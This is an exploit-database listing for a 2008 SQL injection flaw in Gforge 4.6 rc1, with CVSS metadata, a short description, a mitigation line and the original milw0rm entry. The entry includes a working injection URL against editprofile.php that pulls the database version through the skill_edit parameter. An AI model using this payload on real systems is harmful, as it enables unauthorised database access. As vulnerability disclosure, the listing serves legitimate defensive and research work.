header-logo
Suggest Exploit
vendor:
Gforge
by:
milw0rm.com
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Gforge
Affected Version From: 4.6 rc1
Affected Version To: 4.6 rc1
Patch Exists: YES
Related CWE: N/A
CPE: gforge:gforge
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Gforge <= 4.6 rc1 skill_edit SQL injection

Gforge is vulnerable to a SQL injection vulnerability in the handle_multi_edit($skill_ids) function on /www/people/skills_utils.php. This vulnerability can be exploited by creating an account and being logged in, and then sending a specially crafted HTTP request to the editprofile.php page. This exploit should work regardless of the magic_quotes_gpc setting.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.
Source

Exploit-DB raw data:

Gforge <= 4.6 rc1 skill_edit SQL injection

Vendor Notified: 2008-10-06 
Impact: zomg!
Note: should work regardless magic_quotes_gpc setting.
Requires: Creating an account and be logged in
Vulnerable function: handle_multi_edit($skill_ids) on /www/people/skills_utils.php

http://gforge.site/people/editprofile.php?skill_edit[]=1);select+1,2,3,version()+as+title,5,6;+--+&MultiEdit=Edit

# milw0rm.com [2008-10-09]